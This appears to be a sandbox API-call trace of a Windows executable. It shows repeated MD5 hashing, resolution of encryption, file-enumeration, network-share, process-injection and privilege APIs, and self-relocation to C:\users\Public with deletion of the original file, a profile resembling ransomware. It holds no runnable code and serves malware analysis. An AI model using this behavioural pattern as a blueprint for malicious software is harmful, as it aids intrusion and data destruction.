	[0068.071] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.071] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.071] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.071] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.071] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.071] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.071] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.071] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.071] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.072] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.072] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.072] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.072] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.072] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.072] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.072] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.072] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.072] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.072] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.072] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.072] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.072] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.072] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.072] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.072] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.079] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.080] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.080] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.080] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.080] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.080] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.080] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0081.733] CryptDestroyHash (hHash=0x39e8e0) returned 1
	[0089.555] CryptDestroyHash (hHash=0x39e8e0) returned 1
	[0093.346] FreeLibrary (hLibModule=0x7fefddc0000) returned 1
	[0093.349] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0093.350] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0093.350] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0093.351] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0093.351] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0093.351] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0093.351] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0093.351] CryptAcquireContextA (in: phProv=0x193cc8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x193cc8*=0x39d8c0) returned 1
	[0093.358] CryptCreateHash (in: hProv=0x39d8c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193cd0 | out: phHash=0x193cd0) returned 1
	[0093.359] CryptHashData (hHash=0x39e8e0, pbData=0x193da0, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0093.359] CryptGetHashParam (in: hHash=0x39e8e0, dwParam=0x2, pbData=0x193cf0, pdwDataLen=0x193cc0, dwFlags=0x0 | out: pbData=0x193cf0, pdwDataLen=0x193cc0) returned 1
	[0093.359] CryptReleaseContext (hProv=0x39d8c0, dwFlags=0x0) returned 1
	[0093.359] CryptDestroyHash (hHash=0x39e8e0) returned 0
	[0093.359] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0093.359] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0093.359] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0093.359] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0093.359] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0093.360] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0093.360] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0093.360] CryptAcquireContextA (in: phProv=0x193cc8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x193cc8*=0x39d8c0) returned 1
	[0093.362] CryptCreateHash (in: hProv=0x39d8c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193cd0 | out: phHash=0x193cd0) returned 1
	[0093.362] CryptHashData (hHash=0x39e950, pbData=0x193da0, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0093.362] CryptGetHashParam (in: hHash=0x39e950, dwParam=0x2, pbData=0x193cf0, pdwDataLen=0x193cc0, dwFlags=0x0 | out: pbData=0x193cf0, pdwDataLen=0x193cc0) returned 1
	[0093.362] CryptReleaseContext (hProv=0x39d8c0, dwFlags=0x0) returned 1
	[0093.362] CryptDestroyHash (hHash=0x39e950) returned 0
	[0093.362] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0093.362] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0093.362] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0093.362] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0093.362] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0093.363] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0093.363] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0093.363] CryptAcquireContextA (in: phProv=0x193cc8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x193cc8*=0x39d8c0) returned 1
	[0093.364] CryptCreateHash (in: hProv=0x39d8c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193cd0 | out: phHash=0x193cd0) returned 1
	[0093.365] CryptHashData (hHash=0x39e9c0, pbData=0x193da0, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0093.365] CryptGetHashParam (in: hHash=0x39e9c0, dwParam=0x2, pbData=0x193cf0, pdwDataLen=0x193cc0, dwFlags=0x0 | out: pbData=0x193cf0, pdwDataLen=0x193cc0) returned 1
	[0093.365] CryptReleaseContext (hProv=0x39d8c0, dwFlags=0x0) returned 1
	[0093.365] CryptDestroyHash (hHash=0x39e9c0) returned 0
	[0093.365] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0093.365] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0093.365] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0093.365] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0093.365] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0093.366] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0093.366] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0093.366] CryptAcquireContextA (in: phProv=0x193cc8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x193cc8*=0x39d8c0) returned 1
	[0093.367] CryptCreateHash (in: hProv=0x39d8c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193cd0 | out: phHash=0x193cd0) returned 1
	[0093.367] CryptHashData (hHash=0x39ea30, pbData=0x193da0, dwDataLen=0x4, dwFlags=0x0) returned 1
	[0093.368] CryptGetHashParam (in: hHash=0x39ea30, dwParam=0x2, pbData=0x193cf0, pdwDataLen=0x193cc0, dwFlags=0x0 | out: pbData=0x193cf0, pdwDataLen=0x193cc0) returned 1
	[0093.368] CryptReleaseContext (hProv=0x39d8c0, dwFlags=0x0) returned 1
	[0093.368] CryptDestroyHash (hHash=0x39ea30) returned 0
	[0093.368] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0093.368] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0093.368] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0093.368] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0093.368] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0093.368] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0093.369] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0093.369] CryptAcquireContextA (in: phProv=0x193cc8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x193cc8*=0x39d8c0) returned 1
	[0093.371] CryptCreateHash (in: hProv=0x39d8c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193cd0 | out: phHash=0x193cd0) returned 1
	[0093.371] CryptHashData (hHash=0x39eaa0, pbData=0x193da0, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0093.371] CryptGetHashParam (in: hHash=0x39eaa0, dwParam=0x2, pbData=0x193cf0, pdwDataLen=0x193cc0, dwFlags=0x0 | out: pbData=0x193cf0, pdwDataLen=0x193cc0) returned 1
	[0093.371] CryptReleaseContext (hProv=0x39d8c0, dwFlags=0x0) returned 1
	[0093.372] CryptDestroyHash (hHash=0x39eaa0) returned 0
	[0093.372] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0093.372] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0093.372] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0093.372] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0093.372] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0093.372] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0093.373] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0093.373] CryptAcquireContextA (in: phProv=0x193cc8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x193cc8*=0x39d8c0) returned 1
	[0093.375] CryptCreateHash (in: hProv=0x39d8c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193cd0 | out: phHash=0x193cd0) returned 1
	[0093.375] CryptHashData (hHash=0x39eb10, pbData=0x193da0, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0093.375] CryptGetHashParam (in: hHash=0x39eb10, dwParam=0x2, pbData=0x193cf0, pdwDataLen=0x193cc0, dwFlags=0x0 | out: pbData=0x193cf0, pdwDataLen=0x193cc0) returned 1
	[0093.375] CryptReleaseContext (hProv=0x39d8c0, dwFlags=0x0) returned 1
	[0093.375] CryptDestroyHash (hHash=0x39eb10) returned 0
	[0093.376] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0093.376] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0093.377] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0093.377] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0093.377] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0093.377] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0093.378] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0093.378] CryptAcquireContextA (in: phProv=0x193cc8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x193cc8*=0x39d8c0) returned 1
	[0093.380] CryptCreateHash (in: hProv=0x39d8c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193cd0 | out: phHash=0x193cd0) returned 1
	[0093.380] CryptHashData (hHash=0x39eb80, pbData=0x193da0, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0093.380] CryptGetHashParam (in: hHash=0x39eb80, dwParam=0x2, pbData=0x193cf0, pdwDataLen=0x193cc0, dwFlags=0x0 | out: pbData=0x193cf0, pdwDataLen=0x193cc0) returned 1
	[0093.380] CryptReleaseContext (hProv=0x39d8c0, dwFlags=0x0) returned 1
	[0093.380] CryptDestroyHash (hHash=0x39eb80) returned 0
	[0093.382] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76f20000
	[0093.382] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x7fefa660000
	[0093.577] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x7fefddc0000
	[0093.577] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefe130000
	[0096.869] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x7fefe6b0000
	[0099.705] LoadLibraryA (lpLibFileName="Iphlpapi.dll") returned 0x7fefaa30000
	[0100.016] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFree") returned 0x76f31260
	[0100.016] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptExportKey") returned 0x7fefddc8140
	[0100.017] GetProcAddress (hModule=0x76f20000, lpProcName="DeleteFileW") returned 0x76f2ad90
	[0100.017] GetProcAddress (hModule=0x76f20000, lpProcName="GetLastError") returned 0x76f42dd0
	[0100.017] GetProcAddress (hModule=0x76f20000, lpProcName="GetDriveTypeW") returned 0x76f3bdf0
	[0100.017] GetProcAddress (hModule=0x76f20000, lpProcName="GetCommandLineW") returned 0x76f3c480
	[0100.017] GetProcAddress (hModule=0x76f20000, lpProcName="GetStartupInfoW") returned 0x76f38070
	[0100.017] GetProcAddress (hModule=0x76f20000, lpProcName="FindNextFileW") returned 0x76f31910
	[0100.018] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAlloc") returned 0x76f367a0
	[0100.018] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameA") returned 0x7fefddcdc20
	[0100.018] GetProcAddress (hModule=0x76f20000, lpProcName="ExitProcess") returned 0x771640f0
	[0100.018] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76f6bb30
	[0100.018] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessA") returned 0x76fb8840
	[0100.018] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetIpNetTable") returned 0x7fefaa3e558
	[0100.018] GetProcAddress (hModule=0x76f20000, lpProcName="GetVersionExW") returned 0x76f2d910
	[0100.019] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76f6bb40
	[0100.019] GetProcAddress (hModule=0x76f20000, lpProcName="GetSystemDefaultLangID") returned 0x76f294e0
	[0100.019] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameW") returned 0x7fefddd1fd0
	[0100.019] GetProcAddress (hModule=0x76f20000, lpProcName="ReadFile") returned 0x76f31500
	[0100.019] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegQueryValueExA") returned 0x7fefdddc480
	[0100.019] GetProcAddress (hModule=0x76f20000, lpProcName="CloseHandle") returned 0x76f42f80
	[0100.019] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegSetValueExW") returned 0x7fefddd1ed0
	[0100.019] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegCloseKey") returned 0x7fefdde0710
	[0100.019] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileA") returned 0x76fb5620
	[0100.020] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesW") returned 0x76f337a0
	[0100.020] GetProcAddress (hModule=0x76f20000, lpProcName="WinExec") returned 0x76fb8d80
	[0100.020] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDeriveKey") returned 0x7fefddfb6b0
	[0100.020] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGenKey") returned 0x7fefddc19bc
	[0100.020] GetProcAddress (hModule=0x76f20000, lpProcName="Sleep") returned 0x76f42b70
	[0100.020] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcess") returned 0x76f35cf0
	[0100.020] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteW") returned 0x7fefe6c983c
	[0100.021] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSize") returned 0x76f2f9d0
	[0100.021] GetProcAddress (hModule=0x76f20000, lpProcName="GlobalAlloc") returned 0x76f280c0
	[0100.021] GetProcAddress (hModule=0x76f20000, lpProcName="FindClose") returned 0x76f3bd60
	[0100.022] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForMultipleObjects") returned 0x76f31170
	[0100.022] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameA") returned 0x76f364a0
	[0100.022] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteA") returned 0x7fefe90ec80
	[0100.022] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleHandleA") returned 0x76f365e0
	[0100.022] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameW") returned 0x76f37700
	[0100.022] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileA") returned 0x76f431f0
	[0100.022] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSizeEx") returned 0x76f29b30
	[0100.023] GetProcAddress (hModule=0x76f20000, lpProcName="WriteFile") returned 0x76f435a0
	[0100.023] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalDrives") returned 0x76f2b930
	[0100.023] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetEnumResourceA") returned 0x7fefa66bcfc
	[0100.023] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExW") returned 0x7fefdde06f0
	[0100.023] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetCloseEnum") returned 0x7fefa6642dc
	[0100.023] GetProcAddress (hModule=0x76f20000, lpProcName="GetWindowsDirectoryW") returned 0x76f282b0
	[0100.023] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesA") returned 0x76f22d50
	[0100.023] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExA") returned 0x7fefdddb5f0
	[0100.024] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointer") returned 0x76f31150
	[0100.024] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount") returned 0x76f42b00
	[0100.024] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesW") returned 0x76f3bdd0
	[0100.024] GetProcAddress (hModule=0x76f20000, lpProcName="FindFirstFileW") returned 0x76f3bd80
	[0100.024] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextW") returned 0x7fefddcd98c
	[0100.024] GetProcAddress (hModule=0x76f20000, lpProcName="MoveFileExW") returned 0x76f23060
	[0100.024] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetOpenEnumA") returned 0x7fefa66bc68
	[0100.024] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoInitialize") returned 0x7fefe14a51c
	[0100.025] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDecrypt") returned 0x7fefddfb6d0
	[0100.025] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptImportKey") returned 0x7fefddcaf6c
	[0100.026] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointerEx") returned 0x76f2af00
	[0100.026] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileW") returned 0x76f292d0
	[0100.026] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibrary") returned 0x76f36620
	[0100.026] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessW") returned 0x76f41bb0
	[0100.026] GetProcAddress (hModule=0x76f20000, lpProcName="CreateDirectoryW") returned 0x76f2ad70
	[0100.026] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThread") returned 0x76f36580
	[0100.026] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyKey") returned 0x7fefddcafa0
	[0100.026] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoCreateInstance") returned 0x7fefe157490
	[0100.026] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileW") returned 0x76f31870
	[0100.027] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesA") returned 0x76f313e0
	[0100.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEncrypt") returned 0x7fefddfb650
	[0100.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegDeleteValueW") returned 0x7fefddcbbb0
	[0100.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="EnumServicesStatusW") returned 0x7fefde0d5f0
	[0100.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetTokenInformation") returned 0x7fefdddbd50
	[0100.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ImpersonateSelf") returned 0x7fefddcc180
	[0100.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdddb9e0
	[0100.027] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenProcessToken") returned 0x7fefdddbd70
	[0100.028] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenSCManagerW") returned 0x7fefddcc2a8
	[0100.028] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenThreadToken") returned 0x7fefdddbd84
	[0100.028] GetProcAddress (hModule=0x7fefddc0000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdddb9b0
	[0100.028] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAllocEx") returned 0x76f6bbd0
	[0100.028] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupAccountSidW") returned 0x7fefdddb898
	[0100.028] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="CommandLineToArgvW") returned 0x7fefe6d157c
	[0100.028] GetProcAddress (hModule=0x76f20000, lpProcName="WriteProcessMemory") returned 0x76f6bad0
	[0100.028] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFreeEx") returned 0x76f6bb90
	[0100.028] GetProcAddress (hModule=0x76f20000, lpProcName="CreateRemoteThread") returned 0x76f6c4f0
	[0100.029] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetAdaptersAddresses") returned 0x7fefaa32ab4
	[0100.029] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCloseHandle") returned 0x7fefaa37cc0
	[0100.029] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCreateFile") returned 0x7fefaa38250
	[0100.029] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpSendEcho") returned 0x7fefaa38340
	[0100.029] SetLastError (dwErrCode=0x0) 
	[0100.029] GetCommandLineW () returned="\"C:\\users\\Public\\uZkoH.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\""
	[0100.029] CommandLineToArgvW (in: lpCmdLine="\"C:\\users\\Public\\uZkoH.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\"", pNumArgs=0x194910 | out: pNumArgs=0x194910) returned 0x3a8580*="C:\\users\\Public\\uZkoH.exe"
	[0100.030] GetLastError () returned 0x0
	[0100.030] Sleep (dwMilliseconds=0x1388) 
	[0105.030] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\udaryi.exe")) returned 1
	[0105.044] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1954c0, nSize=0x3e8 | out: lpFilename="C:\\users\\Public\\uZkoH.exe" (normalized: "c:\\users\\public\\uzkoh.exe")) returned 0x19
	[0105.044] GetTickCount () returned 0x1161890
	[0105.044] GetLastError () returned 0x0
	[0105.044] SetLastError (dwErrCode=0x0) 
	[0105.044] GetLastError () returned 0x0
	[0105.044] SetLastError (dwErrCode=0x0) 
	[0105.046] GetLastError () returned 0x0
	[0105.047] SetLastError (dwErrCode=0x0) 
	[0105.047] GetLastError () returned 0x0
	[0105.047] SetLastError (dwErrCode=0x0) 
	[0105.047] GetLastError () returned 0x0
	[0105.047] SetLastError (dwErrCode=0x0) 
	[0105.047] GetLastError () returned 0x0
	[0105.047] SetLastError (dwErrCode=0x0) 
	[0105.047] GetLastError () returned 0x0
	[0105.047] SetLastError (dwErrCode=0x0) 
	[0105.048] GetLastError () returned 0x0
	[0105.048] SetLastError (dwErrCode=0x0) 
	[0105.048] GetLastError () returned 0x0
	[0105.048] SetLastError (dwErrCode=0x0) 
	[0105.048] GetLastError () returned 0x0
	[0105.048] SetLastError (dwErrCode=0x0) 
	[0105.048] GetLastError () returned 0x0
	[0105.048] SetLastError (dwErrCode=0x0) 
	[0105.048] GetLastError () returned 0x0
	[0105.049] SetLastError (dwErrCode=0x0) 
	[0105.049] GetLastError () returned 0x0
	[0105.049] SetLastError (dwErrCode=0x0) 
	[0105.049] GetLastError () returned 0x0
	[0105.049] SetLastError (dwErrCode=0x0) 
	[0105.049] GetLastError () returned 0x0
	[0105.049] SetLastError (dwErrCode=0x0) 
	[0105.049] GetLastError () returned 0x0
	[0105.049] SetLastError (dwErrCode=0x0) 
	[0105.049] GetLastError () returned 0x0
	[0105.050] SetLastError (dwErrCode=0x0) 
	[0105.050] GetLastError () returned 0x0
	[0105.050] SetLastError (dwErrCode=0x0) 
	[0105.050] GetLastError () returned 0x0
	[0105.050] SetLastError (dwErrCode=0x0) 
	[0105.050] GetLastError () returned 0x0
	[0105.050] SetLastError (dwErrCode=0x0) 
	[0105.050] GetLastError () returned 0x0
